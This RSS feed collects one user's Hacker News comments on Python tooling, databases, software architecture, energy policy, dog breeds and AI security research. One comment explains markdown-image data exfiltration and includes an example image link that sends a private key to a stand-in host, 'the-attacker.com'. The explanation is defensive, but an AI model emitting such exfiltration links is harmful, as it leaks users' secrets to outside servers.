<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Hacker News: adamckay</title><link>https://news.ycombinator.com/user?id=adamckay</link><description>Hacker News RSS</description><docs>https://hnrss.org/</docs><generator>hnrss v2.1.1</generator><lastBuildDate>Wed, 10 Jun 2026 07:08:26 +0000</lastBuildDate><atom:link href="https://hnrss.org/user?id=adamckay" rel="self" type="application/rss+xml"></atom:link><item><title><![CDATA[New comment by adamckay in "Project Glasswing: An Initial Update"]]></title><description><![CDATA[
<p>Calif.io have access to Mythos Preview which they've used to find a macOS kernel memory corruption exploit on Apple M5: <a href="https://blog.calif.io/p/first-public-kernel-memory-corruption" rel="nofollow">https://blog.calif.io/p/first-public-kernel-memory-corruptio...</a><p>It's probably the right approach to onboard a few independent security companies and task them with reviewing multiple OSS projects than it is to onboard each project individually.</p>
]]></description><pubDate>Sat, 23 May 2026 10:29:20 +0000</pubDate><link>https://news.ycombinator.com/item?id=48246487</link><dc:creator>adamckay</dc:creator><comments>https://news.ycombinator.com/item?id=48246487</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48246487</guid></item><item><title><![CDATA[New comment by adamckay in "Britain today generating 90%+ of electricity from renewables"]]></title><description><![CDATA[
<p>It takes decades to grow the trees that then absorb the CO2 that is emitted from the burning, and the biomass that Drax burns has been (and still is) imported from Canada from felling old-growth forests (some of which have been estimated to be over 250 years old), and this isn't even considering the emissions from transporting the pellets via ship, rail and road from western Canada to eastern England which is not tracked against Drax.</p>
]]></description><pubDate>Sat, 28 Mar 2026 15:54:27 +0000</pubDate><link>https://news.ycombinator.com/item?id=47555721</link><dc:creator>adamckay</dc:creator><comments>https://news.ycombinator.com/item?id=47555721</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47555721</guid></item><item><title><![CDATA[New comment by adamckay in "Setting up OpenClaw on a cloud VM"]]></title><description><![CDATA[
<p>Your markdown file has an image that links to another server controlled by the attacker and the path/query parameters you're attempting to render contains sensitive data.<p><pre><code>    ![](https://the-attacker.com/steal?private-key=abc123def</code></pre></p>
]]></description><pubDate>Sat, 28 Feb 2026 14:18:36 +0000</pubDate><link>https://news.ycombinator.com/item?id=47195677</link><dc:creator>adamckay</dc:creator><comments>https://news.ycombinator.com/item?id=47195677</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47195677</guid></item><item><title><![CDATA[New comment by adamckay in "Claude Code 2.0"]]></title><description><![CDATA[
<p>You can use `/model opusplan` to get that behaviour back though if you do want Opus for planning and Sonnet for editing.</p>
]]></description><pubDate>Mon, 29 Sep 2025 23:43:43 +0000</pubDate><link>https://news.ycombinator.com/item?id=45420238</link><dc:creator>adamckay</dc:creator><comments>https://news.ycombinator.com/item?id=45420238</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45420238</guid></item><item><title><![CDATA[New comment by adamckay in "uv: An extremely fast Python package and project manager, written in Rust"]]></title><description><![CDATA[
<p>If they're your scripts (i.e. your writing/editing them) then you can declare dependencies following the PEP723 format and uv will respect that.<p><a href="https://docs.astral.sh/uv/guides/scripts/#declaring-script-dependencies" rel="nofollow">https://docs.astral.sh/uv/guides/scripts/#declaring-script-d...</a></p>
]]></description><pubDate>Mon, 23 Jun 2025 19:13:16 +0000</pubDate><link>https://news.ycombinator.com/item?id=44359039</link><dc:creator>adamckay</dc:creator><comments>https://news.ycombinator.com/item?id=44359039</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=44359039</guid></item><item><title><![CDATA[New comment by adamckay in "Journalist casualties in the Israel-Gaza war"]]></title><description><![CDATA[
<p>For context, Major Paeta Hess-von Kruedener emailed [1] days before saying that Hezbollah were using his positions and the IDF was being forced to fire on them out of "tactical necessity". This isn't as clear-cut as you're attempting to paint it.<p>1 - <a href="https://web.archive.org/web/20061010012455/http://www.canada.com/components/print.aspx?id=37278180-a261-421d-84a9-7f94d5fc6d50" rel="nofollow">https://web.archive.org/web/20061010012455/http://www.canada...</a></p>
]]></description><pubDate>Wed, 06 Mar 2024 22:25:04 +0000</pubDate><link>https://news.ycombinator.com/item?id=39622549</link><dc:creator>adamckay</dc:creator><comments>https://news.ycombinator.com/item?id=39622549</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=39622549</guid></item><item><title><![CDATA[New comment by adamckay in "The Internet Is Full of AI Dogshit"]]></title><description><![CDATA[
<p>I can imagine soon - within the next year or so - that business emails will simply be AI talking to AI. Especially with Microsoft pushing their copilot into Office and Outlook.<p>You'll need to email someone so you'll fire up Outlook with its new Clippy AI and tell it the recipient and write 2 or 3 bullet points of what you want it to include. Your AI will write the email, including the greeting and all the pleasantries ("hope this email finds you well", etc) with a wordy 3 or 4 paragraphs of text, including a healthy amount of business-speak.<p>Your recipient will then have an email land in their inbox and probably have their AI read the email and automatically summarise those 3 or 4 paragraphs of text into 3 or 4 bullet points that the recipient then sees in their inbox.</p>
]]></description><pubDate>Thu, 11 Jan 2024 18:45:32 +0000</pubDate><link>https://news.ycombinator.com/item?id=38956779</link><dc:creator>adamckay</dc:creator><comments>https://news.ycombinator.com/item?id=38956779</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=38956779</guid></item><item><title><![CDATA[New comment by adamckay in "Cold-blooded software"]]></title><description><![CDATA[
<p>If you want to stick with using `pip` over any of the newer tools that build on top of it (Poetry - my favourite, pdm, pipenv, rye, ...) the simplest way I used in the past was to use a `requirements.human.txt` to set my dependencies, then install them in a venv and do `pip freeze > requirements.txt` to lock all of the transitive dependencies.</p>
]]></description><pubDate>Fri, 29 Dec 2023 13:54:10 +0000</pubDate><link>https://news.ycombinator.com/item?id=38804864</link><dc:creator>adamckay</dc:creator><comments>https://news.ycombinator.com/item?id=38804864</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=38804864</guid></item><item><title><![CDATA[New comment by adamckay in "Amazon Has an Honesty Issue"]]></title><description><![CDATA[
<p>Doesn't matter in this case.<p>An Xbox was ordered that's classed as a "high value" item so requires a OTP being given to the driver to release the package.<p>The package was hand delivered to the customer when the customer provided the OTP, but it turns out the contents of the package were swapped out with junk.</p>
]]></description><pubDate>Sat, 09 Dec 2023 19:49:53 +0000</pubDate><link>https://news.ycombinator.com/item?id=38585258</link><dc:creator>adamckay</dc:creator><comments>https://news.ycombinator.com/item?id=38585258</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=38585258</guid></item><item><title><![CDATA[New comment by adamckay in "Python environment setup seems complicated and unsolvable"]]></title><description><![CDATA[
<p>Bugger.<p>Thanks for letting me know (embarrassingly I did load up the PEP page to make sure I remembered the right number but I didn't check its status).<p>Was hoping that it would make things simpler for smaller projects and newbie developers but the rejection reason is solid.</p>
]]></description><pubDate>Sat, 11 Nov 2023 19:24:23 +0000</pubDate><link>https://news.ycombinator.com/item?id=38233591</link><dc:creator>adamckay</dc:creator><comments>https://news.ycombinator.com/item?id=38233591</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=38233591</guid></item><item><title><![CDATA[New comment by adamckay in "Trading bot that buys stocks bought by politicians is up 20% since May 2022"]]></title><description><![CDATA[
<p>I'm asking for clarification because whilst there's a strong argument that politicians are performing insider trading (which as you say is widely regarded as something that should be stopped), if an amateur can copy those trades and make a 20% profit on them, what's stopping hedge funds from doing the same and millions or billions from what is basically second-degree insider trading?<p>I was asking if they are also suggesting that this second-degree insider trading be stopped somehow?</p>
]]></description><pubDate>Sat, 11 Nov 2023 19:18:05 +0000</pubDate><link>https://news.ycombinator.com/item?id=38233537</link><dc:creator>adamckay</dc:creator><comments>https://news.ycombinator.com/item?id=38233537</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=38233537</guid></item><item><title><![CDATA[New comment by adamckay in "Trading bot that buys stocks bought by politicians is up 20% since May 2022"]]></title><description><![CDATA[
<p>Can you clarify what you mean by "this"? Being able to copy the trades of politicians or politicians making trades that are almost instantly profitable?</p>
]]></description><pubDate>Sat, 11 Nov 2023 01:21:54 +0000</pubDate><link>https://news.ycombinator.com/item?id=38226644</link><dc:creator>adamckay</dc:creator><comments>https://news.ycombinator.com/item?id=38226644</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=38226644</guid></item><item><title><![CDATA[New comment by adamckay in "Python environment setup seems complicated and unsolvable"]]></title><description><![CDATA[
<p>Poetry is an all-in-one tool that does dependency management using `pyproject.toml` files and its own `poetry.lock` files, as well as package building, virtualenv management, and also has hooks for entrypoints and scripts.<p>It's rather a useful tool and I'm personally using it for dependency management and packing for all my projects moving forwards, though for venvs I'm using `pyenv` and the `pyenv-virtualenv` plugin.<p>Once you figure out your workflow it can be quite nice, but it's figuring it out that's a huge mess in Python at the minute. Hopefully PEP 582 (Python local packages directory) solves it a bit...</p>
]]></description><pubDate>Fri, 10 Nov 2023 23:32:59 +0000</pubDate><link>https://news.ycombinator.com/item?id=38225988</link><dc:creator>adamckay</dc:creator><comments>https://news.ycombinator.com/item?id=38225988</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=38225988</guid></item><item><title><![CDATA[New comment by adamckay in "1Password detects "suspicious activity" in its internal Okta account"]]></title><description><![CDATA[
<p>> the attacker obtained a valid administrative session token from _after_ any MFA would've been completed<p>But you can lock session tokens to specific IPs or user agents. I've implemented similar in the past for a B2B admin-panel, and whilst there were the occasional false positive with browsers updating in the middle of a session (incrementing the user agents version number) and people's IP changing if they switched networks (or in one instance, a badly configured office network that randomly routed through 2 proxy servers with different outbound IP addresses) which then made it demand MFA again, it was fairly rare and didn't attract too many complaints.</p>
]]></description><pubDate>Tue, 24 Oct 2023 20:24:33 +0000</pubDate><link>https://news.ycombinator.com/item?id=38004960</link><dc:creator>adamckay</dc:creator><comments>https://news.ycombinator.com/item?id=38004960</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=38004960</guid></item><item><title><![CDATA[New comment by adamckay in "How Airbnb Scaled by Moving Away from a Rails Monolith"]]></title><description><![CDATA[
<p>> In 2018, Airbnb began its migration to a service-oriented architecture, as the Ruby on Rails “monorail” started becoming hard to maintain and was a single point of failure.<p>A monolithic codebase doesn't have to be deployed as a single artifact to be a single point of failure.<p>There's nothing stopping you from deploying a monolith application across a distributed number of machines in a highly available manner, including making machines favour some types of work (e.g. web workers and background job workers). Nor is there anything stopping you from performing blue-green deployments or A/B testing if you want to interpret single point of failure as a bug is deployed to all machines simultaneously and affects your entire application.</p>
]]></description><pubDate>Wed, 11 Oct 2023 18:59:51 +0000</pubDate><link>https://news.ycombinator.com/item?id=37848801</link><dc:creator>adamckay</dc:creator><comments>https://news.ycombinator.com/item?id=37848801</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=37848801</guid></item><item><title><![CDATA[New comment by adamckay in "Goodbye integers, hello UUIDv7"]]></title><description><![CDATA[
<p>But how?<p>You would be correct if the ID were an integer being serially increased. I can sign up to your website today and get an ID X and then sign up again in a week and get ID Y, I can then calculate the number of new users you've had by performing Y-X.<p>If this ID is a timestamp then there's no such information I can get out of it from a small sample. I sign up today and get todays timestamp, then I sign up next week and get next weeks timestamp..?</p>
]]></description><pubDate>Mon, 02 Oct 2023 17:35:01 +0000</pubDate><link>https://news.ycombinator.com/item?id=37741613</link><dc:creator>adamckay</dc:creator><comments>https://news.ycombinator.com/item?id=37741613</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=37741613</guid></item><item><title><![CDATA[New comment by adamckay in "Choose Boring Technology (2018)"]]></title><description><![CDATA[
<p>> BUT my problem with this is "where do you draw the line?"<p>Wherever it makes sense for you and your organisation. There's not a list of approved "boring technology" and unapproved "exciting but scary technology". It's not about the age of the technology, but your level of experience with it. If you know it inside out, understand its failure modes and can easily find information when something goes wrong it's "boring".<p>If your team can configure AWS services in their sleep but have never touched a bare metal box then AWS is boring. On the flip side, if you're a bunch of Linux greybeards and wrote the book on iptables but can barely spell VPC then on-prem is boring.<p>This is also where the concept of "innovation tokens" comes in. C++ is well established and quite far from innovative on its own, but if you're building a web app and your team is full of new graduates and interns that have only ever touched Javascript and Python then using C++ would spend one of your "innovation tokens" as your team is busy learning it instead of learning the business domain.</p>
]]></description><pubDate>Mon, 02 Oct 2023 10:19:39 +0000</pubDate><link>https://news.ycombinator.com/item?id=37736237</link><dc:creator>adamckay</dc:creator><comments>https://news.ycombinator.com/item?id=37736237</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=37736237</guid></item><item><title><![CDATA[New comment by adamckay in "Choose Postgres queue technology"]]></title><description><![CDATA[
<p>But if you're using Postgres as your queuing system because you're already using it as your core database technology for your app, you've got the same issue. If your single Postgres instance is down then your app is, too, and won't be enqueuing more jobs.<p>And unless your jobs are trivial then it's highly likely that they interact with your app in some way so it doesn't really matter if your workers are distributed and up, they're not able to complete their work because your app is down because of a single-node Postgres.</p>
]]></description><pubDate>Tue, 26 Sep 2023 11:16:23 +0000</pubDate><link>https://news.ycombinator.com/item?id=37657606</link><dc:creator>adamckay</dc:creator><comments>https://news.ycombinator.com/item?id=37657606</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=37657606</guid></item><item><title><![CDATA[New comment by adamckay in "Toolship: A more secure workstation"]]></title><description><![CDATA[
<p>No, I don't think you're missing anything, other than you'd only mount the directories you want the tool / development environment to have access to. Take for instance the `npm` command [1], it mounts `$PWD` so if you install a compromised package then it can go through the folder you're in, but it can't then go up directories and sniff around your home directory. It would also only have access to the environment variables that have been configured for the container, which in this case would also include AWS credentials.<p>1 - <a href="https://github.com/yapret/toolship/blob/main/src/node/functions.zsh">https://github.com/yapret/toolship/blob/main/src/node/functi...</a></p>
]]></description><pubDate>Wed, 20 Sep 2023 18:19:27 +0000</pubDate><link>https://news.ycombinator.com/item?id=37587819</link><dc:creator>adamckay</dc:creator><comments>https://news.ycombinator.com/item?id=37587819</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=37587819</guid></item><item><title><![CDATA[New comment by adamckay in "American bully XL dogs to be banned, Sunak says"]]></title><description><![CDATA[
<p>> It's the environment and socialization factors that drive this.<p>Then why is it overwhelmingly this breed that attacking people?<p>We accept that certain breeds have innate instincts and traits - border collies herd, labradors retrieve, greyhounds run, pointers point, small terriers chase - but you argue that this breed of dog that was (when you trace its lineage [1]) originally bred to bring down bulls and be aggressive and fight can't possibly be aggressive because of its breed?<p>It's been recently reported that half of all of these XL Bully dogs in the UK are descended from a single dog called "Killer Kimbo" which itself was inbred [2] and its first and second generation offspring were responsible for killing a 4 year old child and a grown man respectively.<p>1 - <a href="https://en.wikipedia.org/wiki/American_Bully#History" rel="nofollow noreferrer">https://en.wikipedia.org/wiki/American_Bully#History</a><p>2 - <a href="https://www.telegraph.co.uk/news/2023/09/14/britains-xl-bullys-descend-one-inbred-pet-us-killer-kimbo/" rel="nofollow noreferrer">https://www.telegraph.co.uk/news/2023/09/14/britains-xl-bull...</a></p>
]]></description><pubDate>Fri, 15 Sep 2023 18:19:14 +0000</pubDate><link>https://news.ycombinator.com/item?id=37527133</link><dc:creator>adamckay</dc:creator><comments>https://news.ycombinator.com/item?id=37527133</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=37527133</guid></item></channel></rss>